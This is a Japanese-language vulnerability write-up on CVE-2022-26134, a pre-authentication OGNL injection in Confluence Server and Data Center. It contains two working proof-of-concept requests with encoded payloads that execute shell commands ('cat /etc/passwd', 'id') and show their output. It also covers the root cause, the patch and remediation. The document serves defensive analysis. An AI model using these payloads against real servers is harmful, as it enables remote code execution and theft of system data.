
[CVE-2022-26134] Confluence Pre-Auth Object-Graph Navigation Language (OGNL) Injection
[CVE-2022-26134] Confluence 事前認証オブジェクトグラフナビゲーション言語(OGNL)インジェクション
Confluence は、Atlassian が開発する Web ベースのワークスペースコラボレーション製品です。オンプレミス、または Atlassian Cloud の一部として展開できます。ページ、スペース、ページツリーの 3 つの主要機能で構成されています。
2022-06-02 20:00 UTC に、Atlassian はセキュリティアドバイザリを公開しました。これは、Confluence Server および Confluence Data Center 製品に影響を与えるリモートコード実行(RCE)の脆弱性に関するものです。CVE-2022-26134 脆弱性の詳細は以下のとおりです。
概要: CVE-2022-26134 - Confluence Server および Data Center における重大な深刻度の認証されていないリモートコード実行の脆弱性
アドバイザリ公開日: 2022年6月2日
影響を受ける製品: Confluence Server および Confluence Data Center
影響を受けるバージョン: サポートされているすべてのバージョンの Confluence Server および Data Center が影響を受けます。1.3.0 より後の Confluence Server および Data Center のバージョンが影響を受けます。
修正済みバージョン: 7.4.17、7.13.7、7.14.3、7.15.2、7.16.4、7.17.4、および 7.18.1
CVE ID: CVE-2022-26134 Confluence Pre-Auth Object-Graph Navigation Language (OGNL) Injection
概念実証(PoC): サンプルリクエスト 1
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20/etc/passwd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ HTTP/1.1
Host: vulnerablehost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
レスポンス 1
HTTP/1.1 302
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1654688652451
Set-Cookie: JSESSIONID=47E8CE261CF7355A5625FEF65B4BD7DC; Path=/; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-Cmd-Murat: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin confluence:x:2002:2002::/var/atlassian/application-data/confluence:/bin/bash
Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat+%2Fetc%2Fpasswd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Wed, 08 Jun 2022 11:44:12 GMT
Connection: close

概念実証(PoC): サンプルリクエスト 2
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ HTTP/1.1
Host: vulnerablehost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
レスポンス 2
HTTP/1.1 302
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1654687799603
Set-Cookie: JSESSIONID=37BEF3F90A06CB415FAC1070D6D4570A; Path=/; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-Cmd-Murat: uid=2002(confluence) gid=2002(confluence) groups=2002(confluence)
Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Wed, 08 Jun 2022 11:29:59 GMT
Connection: close
この脆弱性はどのように機能するのか?
URL 内の /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ は、Confluence によって名前空間(namespace)として解析されます。次に、この名前空間に対して translateVariables(Confluence のテキスト解析ユーティリティの一部)が使用されます。translateVariables は OGNL を使用するため、攻撃は解析され、評価されます。
OgnlValueStack の findValue(str) は、OGNL 式の評価が開始される起点として重要です。以下のスニペットにあるように、この脆弱性が悪用されると TextParseUtil.class が OgnlValueStack.findValue を呼び出します。
public class TextParseUtil {
public static String translateVariables(String expression, OgnlValueStack stack) {
StringBuilder sb = new StringBuilder();
Pattern p = Pattern.compile("\\$\\{([^}]*)\\}");
Matcher m = p.matcher(expression);
int previous = 0;
while (m.find()) {
String str1, g = m.group(1);
int start = m.start();
try {
Object o = stack.findValue(g);
str1 = (o == null) ? "" : o.toString();
} catch (Exception ignored) {
str1 = "";
}
sb.append(expression.substring(previous, start)).append(str1);
previous = m.end();
}
if (previous < expression.length())
sb.append(expression.substring(previous));
return sb.toString();
}
}
ActionChainResult.class は、this.namespace を指定された式として TextParseUtil.translateVariables を呼び出します。
public void execute(ActionInvocation invocation) throws Exception {
if (this.namespace == null)
this.namespace = invocation.getProxy().getNamespace();
OgnlValueStack stack = ActionContext.getContext().getValueStack();
String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);
ここで namespace は、com.opensymphony.webwork.dispatcher.ServletDispatcher.getNamespaceFromServletPath 内のリクエスト URI 文字列から作成されます。
public static String getNamespaceFromServletPath(String servletPath) {
servletPath = servletPath.substring(0, servletPath.lastIndexOf("/"));
return servletPath;
}
その結果、攻撃者が提供した URI は名前空間に変換され、最終的に OGNL 式の評価に到達します。大まかに言えば、これは Apache Struts2 の名前空間 OGNL インジェクション脆弱性である CVE-2018-11776 と非常に似ています。
パッチ分析
Atlassian は顧客に対し、xwork-1.0.3.6.jar を新しくリリースされた xwork-1.0.3-atlassian-10.jar に置き換えるよう案内しました。xwork jar には、OGNL 式評価への経路として特定した ActionChainResult.class と TextParseUtil.class が含まれています。
このパッチは、この問題を修正するために多数の小さな変更を加えています。その一つとして、ActionChainResult.execute から TextParseUtil.translateVariables へ namespace が渡されなくなりました。
修正前
public void execute(ActionInvocation invocation) throws Exception {
if (this.namespace == null)
this.namespace = invocation.getProxy().getNamespace();
OgnlValueStack stack = ActionContext.getContext().getValueStack();
String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);
修正後
public void execute(ActionInvocation invocation) throws Exception {
if (this.namespace == null)
this.namespace = invocation.getProxy().getNamespace();
String finalNamespace = this.namespace;
String finalActionName = this.actionName;
git diff コマンドの出力により、下のスクリーンショットの ActionChainResult.class におけるパッチ適用前後の差分を確認できます。(Datalog のブログ記事 から転載)
また、Atlassian は xworks jar に SafeExpressionUtil.class を追加しました。SafeExpressionUtil.class は安全でない式のフィルタリングを提供し、findValue が呼び出されたときに式を検査するために OgnlValueStack.class に組み込まれています。例:
public Object findValue(String expr) {
try {
if (expr == null)
return null;
if (!this.safeExpressionUtil.isSafeExpression(expr))
return null;
if (this.overrides != null && this.overrides.containsKey(expr))
組織はこの脆弱性から身を守るために何ができますか?
パッチが利用可能になったため、修正済みのバージョンの Confluence にアップグレードしてください。現時点でパッチ適用が難しい場合は、Atlassian は Confluence のバージョンに応じた一時的な回避策の手順を顧客向けに提供しています。いずれも、緩和策を適用する間、Confluence を一時的にシャットダウンする必要があります。詳細については、Atlassian アドバイザリの具体的なガイダンスを参照してください:
この脆弱性の修復に関する詳細は、以下のリソースを参照してください: